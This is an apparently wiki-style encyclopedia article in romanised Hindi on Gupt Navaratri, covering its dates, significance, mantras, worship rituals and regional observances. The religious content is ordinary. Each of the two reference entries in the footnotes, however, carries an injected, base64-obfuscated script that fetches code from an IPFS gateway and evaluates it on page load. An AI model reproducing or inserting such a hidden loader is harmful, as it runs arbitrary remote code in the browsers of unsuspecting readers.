गुप्त नवरात्र
gupt navaratr
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| any nam | maghi navaratr, ashadhi navaratr |
| anuyayi | hindoo, bharatiy |
| tithi | gupt navaratr magh mas mean shukl paksh v ashadh mas ke shukl paksh mean ate haian. |
| utsav | in dinoan mean devi durga ke vrat rakhe jate haian aur sthan–sthan par maan ki moortiyaan banakar unaki vishesh pooja ki jati hai. |
| sanbandhit lekh | shailaputri, brahmacharini, chandraghanta, kooshmanda, skandamata, katyayani, kalaratri, mahagauri aur siddhidatri |
| vivaran | 'chaitr' ya 'vasantik navaratr' aur 'ashvin' ya 'sharadiy navaratr' ke atirikt bhi do aur navaratr hote haian, jinhean 'gupt navaratr' kaha jata hai. |
| mahattv | gupt navaratroan ko saphalatapoorvak sampann karane se kee badhaean samapt ho jati haian, jaise- vivah, naukari, rog, dhan-sampada, grahoan ka viparit prabhav adi. |
| any janakari | "shivasanhita" ke anusar gupt navaratr bhagavan shankar aur adishakti maan parvati ki upasana ke lie bhi shreshth haian. |
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gupt navaratr hindoo dharm mean usi prakar many haian, jis prakar 'sharadiy' aur 'chaitr navaratr'. ashadh aur magh mah ke navaratroan ko "gupt navaratr" kah kar pukara jata hai. bahut kam logoan ko hi isake jnan ya chhipe hue hone ke karan ise 'gupt navaratr' kaha jata hai. gupt navaratr manane aur inaki sadhana ka vidhan 'devi bhagavat' v any dharmik granthoan mean milata hai. shrriangi rrishi ne gupt navaratroan ke mahattv ko batalate hue kaha hai ki- "jis prakar vasantik navaratr mean bhagavan vishnu ki pooja aur sharadiy navaratr mean devi shakti ki nau deviyoan ki pooja ki pradhanata rahati hai, usi prakar gupt navaratr das mahavidyaoan ke hote haian. yadi koee in mahavidyaoan ke roop mean shakti ki upasana karean, to jivan dhan-dhany, rajy satta aur aishvary se bhar jata hai.
tithi
samanyat: log varsh mean p dane vale keval do navaratroan ke bare mean hi janate haian- 'chaitr' ya 'vasantik navaratr' v 'ashvin' ya 'sharadiy navaratr', jabaki isake atirikt do aur navaratr bhi hote haian, jinamean vishesh kamanaoan ki siddhi ki jati hai. kam logoan ko isaka jnan hone ke karan ya isake chhipe hue hone ke karan hi isako "gupt navaratr" kahate haian. varsh mean do bar gupt navaratr ate haian- magh mas ke shukl paksh v ashadh mas ke shukl paksh mean. is prakar kul mila kar varsh mean char navaratr hote haian. yah charoan hi navaratr rritu parivartan ke samay manaye jate haian. is vishesh avasar par apani vibhinn manokamanaoan ki poorti ke lie pooja-path adi kiye jate haian.
mahattv
gupt navaratroan ka b da hi mahattv bataya gaya hai. manav ke samast rog-dosh v kashtoan ke nivaran ke lie gupt navaratr se badhakar koee sadhana kal nahian haian. shri, varchasv, ayu, arogy aur dhan prapti ke sath hi shatru sanhar ke lie gupt navaratr mean anek prakar ke anushthan v vrat-upavas ke vidhan shastroan mean milate haian. in anushthanoan ke prabhav se manav ko sahaj hi sukh v akshay ऎshvary ki prapti hoti hai. "durgavarivasya" namak granth mean spasht likha hai ki sal mean do bar ane vale gupt navaratroan mean bhi magh mean p dane vale gupt navaratr manav ko n keval adhyatmik bal hi pradan karate haian, balki in dinoan mean sanyam-niyam v shraddha ke sath mata durga ki upasana karane vale vyakti ko anek sukh v samrajy bhi prapt hote haian. "shivasanhita" ke anusar ye navaratr bhagavan shankar aur adishakti maan parvati ki upasana ke lie bhi shreshth haian.[1] gupt navaratroan ko saphalatapoorvak sampann karane se kee badhaean samapt ho jati haian, jaise-
vivah badha
ve kumari kanyaean jinake vivah mean badha a rahi ho, unake lie gupt navaratr bahut mahattvapoorn haian. kumari kanyaoan ko achchhe var ki prapti ke lie in nau dinoan mean mata katyayani ki pooja-upasana karani chahie. "durgastavanamh" jaise pramanik prachin granthoan mean likha hai ki is mantr ka 108 bar jap karane se kumari kanya ka vivah shighr hi yogy var se sanpann ho jata hai-
katyayani mahamaye mahayoginyadhishvari.
nandagopasutan devi patian me kuroo te nam:..
- isi prakar jin purushoan ke vivah mean vilamb ho raha ho, unhean bhi lal rang ke pushpoan ki mala devi ko chadhakar nimn mantr ka 108 bar jap poore nau din tak karane chahie-
dehi saubhagyamarogyan dehi me paraman sukhamh.
roopan dehi jayan dehi yasho dehi dvisho jahi.
devi ki mahima
shastr kahate haian ki adishakti ka avataran srishti ke aranbh mean hua tha. kabhi sagar ki putri siandhuja-lakshmi to kabhi parvataraj himalay ki kanya aparna-parvati. tej, dyuti, dipti, jyoti, kaanti, prabha aur chetana aur jivan shakti sansar mean jahaan kahian bhi dikhaee deti hai, vahaan devi ka hi darshan hota hai. rrishiyoan ki vishv-drishti to sarvatr vishvaroopa devi ko hi dekhati hai, isalie mata durga hi mahakali, mahalakshmi aur mahasarasvati ke roop mean prakat hoti hai. 'devibhagavat' mean likha hai ki- "devi hi brahma, vishnu tatha mahesh ka roop dhar sansar ka palan aur sanhar karati haian. jaganmata durga sukriti manushyoan ke ghar sanpatti, papiyoan ke ghar mean alakshmi, vidvanoan-vaishnavoan ke hriday mean buddhi v vidya, sajjanoan mean shraddha v bhakti tatha kulin mahilaoan mean lajja evan maryada ke roop mean nivas karati hai. 'markandeyapuran' kahata hai ki- "he devi! tum sare ved-shastroan ka sar ho. bhagavan vishnu ke hriday mean nivas karane vali maan lakshmi-shashishekhar bhagavan shankar ki mahima badhane vali maan tum hi ho."[1]
sarasvati pooja mahotsav
maghi navaratr mean panchami tithi sarvapramukh mani jati hai. ise 'shripanchami', 'vasant panchami' aur 'sarasvati mahotsav' ke nam se kaha jata hai. prachin kal se aj tak is din mata sarasvati ka poojan-archan kiya jata hai. yah trishakti mean ek mata sharada ke aradhana ke lie vishisht divas ke roop mean shastroan mean varnit hai. kee pramanik vidvanoan ka yah bhi manana hai ki jo chhatr padhane mean kamazor hoan ya jinaki padhane mean ruchi nahian ho, aise vidyarthiyoan ko anivary roop se maan sarasvati ka poojan karana chahie. devavani sanskrit bhasha mean nibaddh shastriy granthoan ka dan sankalp poorvak vidvanh brahmanoan ko dena chahie.
- mahanavami ko poornahuti
gupt navaratr mean sanpoorn phal ki prapti ke lie ashtami aur navami tithi ko avashyak roop se devi ke poojan ka vidhan shastroan mean varnit hai. mata ke sanmukh "jot darshan" evan kanya bhojan karavana chahie.[1]
stri roop mean devi pooja
'koormapuran' mean prithvi par devi ke bianb ke roop mean stri ka poora jivan navadurga ki moorti ke roop se bataya gaya hai. janm grahan karati huee kanya "shailaputri", kaumary avastha tak "brahmacharini" v vivah se poorv tak chandrama ke saman nirmal hone se "chandraghanta" kahalati hai. ne jiv ko janm dene ke lie garbh dharan karane se "kooshmaanda" v santan ko janm dene ke bad vahi stri "skandamata" hoti hai. sanyam v sadhana ko dharan karane vali stri "katyayani" v pativrata hone ke karan pati ki akal mrityu ko bhi jit lene se "kalaratri" kahalati hai. sansar ka upakar karane se "mahagauri" v dharati ko chho dakar svarg prayan karane se pahale sansar ko siddhi ka ashirvad dene vali "siddhidatri" mani jati haian.
ghat sthapana
shastriy manyata ke anusar svachchh divar par siandoor se devi ki mukh-akriti bana li jati hai. sarvashuddha mata durga ki jo tasvir mil jae, vahi chauki par sthapit kar di jati hai, parantu devi ki asali pratima "ghat" hai. ghat par ghi-siandoor se kanya chihn aur svastik banakar usamean devi ka ahvan kiya jata hai. devi ke dayian or jau v samane havanakuand rakha jata hai. nau dinoan tak nity devi ka ahvan phir snan, vastr v gandh adi se shodashopachar poojan karana chahie. naivedy mean batashe aur nariyal tatha khir ka bhog hona chahie. poojan aur havan ke bad "durga saptashati" ka path karana shreshth hai. sath hi dharm, arth, kam aur moksh prapt karane ke lie navadurga ke pratyek roop ki pratidin pooja-stuti karani chahie.[1]
any rajyoan mean
- gujarat mean sabhi hindoo tyohar vikrami chaandr varsh ki tithiyoan ke anusar bharat ke any pradeshoan ki tarah manae jate haian aur is chaandr varsh ka aranbh chaitr mas ke shukl paksh ki pratipada se mana jata hai. kiantu lohana vansh ke gujaratiyoan ke kuchi, halari tatha thakkar gotr ke log apana navavarsh 'ashadh bij' (ashadh shukl dvitiya) ko manate haian. 'lohana samaj' apana mool sthan lahaur (pakistan) ke samipasth lohana namak gram batate haian. samooche bharat mean jahaan navavarsh ka aranbh chaitr mah ki shukl paksh ki pratipada se mana jata hai aur usi din se vasantik navaratr aranbh ho jate haian; phir bhi sindhi samaj navavarsh ke aranbh ka bodhak 'cheti chaand mahotsav' chaitr shukla dvitiya ko manata hai. vichitr sanyog ki bat hai ki lohana samaj ka navavarsh bhi dvitiya tithi ko manaya jata hai, bhale hi mahina chaitr ke sthan par ashadh ho. vastut: yah 'ashadhi gupt navaratr' ka doosara din hota hai. sanyog ki bat hai ki u disa praant mean sthit jagannathapuri ki rathayatra ka utsav bhi 'ashadhi gupt navaratr' ki dvitiya tithi ko manaya jata hai. is mandir mean bhagavan shrikrishna apani patni ya rasalila vali saheli radha ke sath nahian, balki apane b de bhaee balaram tatha bahan subhadra ke sath moortiman rahate haian. in tinoan ki chal moortiyoan ko ashadh dvitiya vali shobha-yatra mean alag-alag rathoan par sajaya jata hai. in rathoan ka nirman kary prativarsh 'akshay tritiya' ke shubh din se hi aranbh hota hai, jabaki us din vriandavan, mathura, uttar pradesh vale 'baanke bihari mandir' mean sthapit bhagavan krishna ki moorti ko chandan ka lep karake sajaya jata hai. un donoan bhaiyoan samet subhadra ki pooja vahian par hoti hai.[2]
- maharashtr ke 'varakari sanpraday' ke shraddhalugan bhagavan shrikrishna ko 'vitthalanath', 'vithoba' athava 'prabhu pundarik' pukarate haian. maharashtr ke pune ke pandharapur namak sthan par vitthalanath ka prachinatam mandir hai, jisaki yatra ashadh mah ki ekadashi arthath 'devashayani ekadashi' se aranbh ho jati hai. janashruti hai ki vitthalanath ji apani patarani rukmini ji ko batae bina gupt roop mean pandharapur chale ae the. ve unhean dhooandhati huee pandharapur pahuanch gee thian. at: vitthalanath ji ki moorti ke sath mandir mean rukmini ji bhi vidyaman rahati haian.
- bangal mean ashadh ki shukl paksh dvitiya ko 'manorath dvitiya vrat' kaha jata hai. us din striyaan durga se apani manokamanaean poorti hetu vrat rakhati haian. ashadh shukl shashthi ko bangal mean 'kardam shashthi', 'kusuanbha shashthi' tatha 'skand shashthi' bhi kaha jata hai. us din bhagavan shiv aur mata parvati ke chhote putr skand aur unaki patni shashthi devi ki pooja ki jati hai. ashadh mah ki shukl saptami ko bharat ke poorvi bhag mean soory ki pooja ka utsav manaya jata hai. ashadh shukl ashtami ko tripura mean kharasi-pooja utsav manaya jata hai. tatsanbandhi prasiddh mela khaverapur namak kasbe mean manaya jata hai, jisamean adhikatar sannyasi hi bhag lete haian. sannyas dharini striyaan tanbakoo se bhari huee chilam mean kash lagakar, dhuaan chho dakar logoan ko ashcharyachakit kar deti haian.[2]
- tamilanadu mean ashadh mas ki ashtami ko manae jane vale mahotsav ko 'adipuram' kaha jata hai. ashadh mas ko tamil bhasha mean 'adi' aur 'parv' ko 'puram' kaha jata hai. us din log apane parivar ki sukh-shaanti hetu shakti-devi ki pooja karate haian.
ashadh shukl navami gupt navaratr ka aantim din hota hai. us din bharat ke kashmir ke bhavani mandir mean vishal mela lagata hai. usi din 'hari jayanti' ke karan vaishnav bhakt vrat bhi rakhate haian aur vaishnav mandiroan mean manokamanaoan ki poorti aur darshanarth jate haian. usi din 'bhadalya navamian' par vratadharini striyaan bhi ghar mean athava devi-mandir mean pooja karati haian.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 siddhidayak haian- gupt navaratr (hindi). . abhigaman tithi: 06 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 gupt navaratr (hindi). . abhigaman tithi: 06 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
any sanbandhit liank
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varnamala kramanusar lekh khoj
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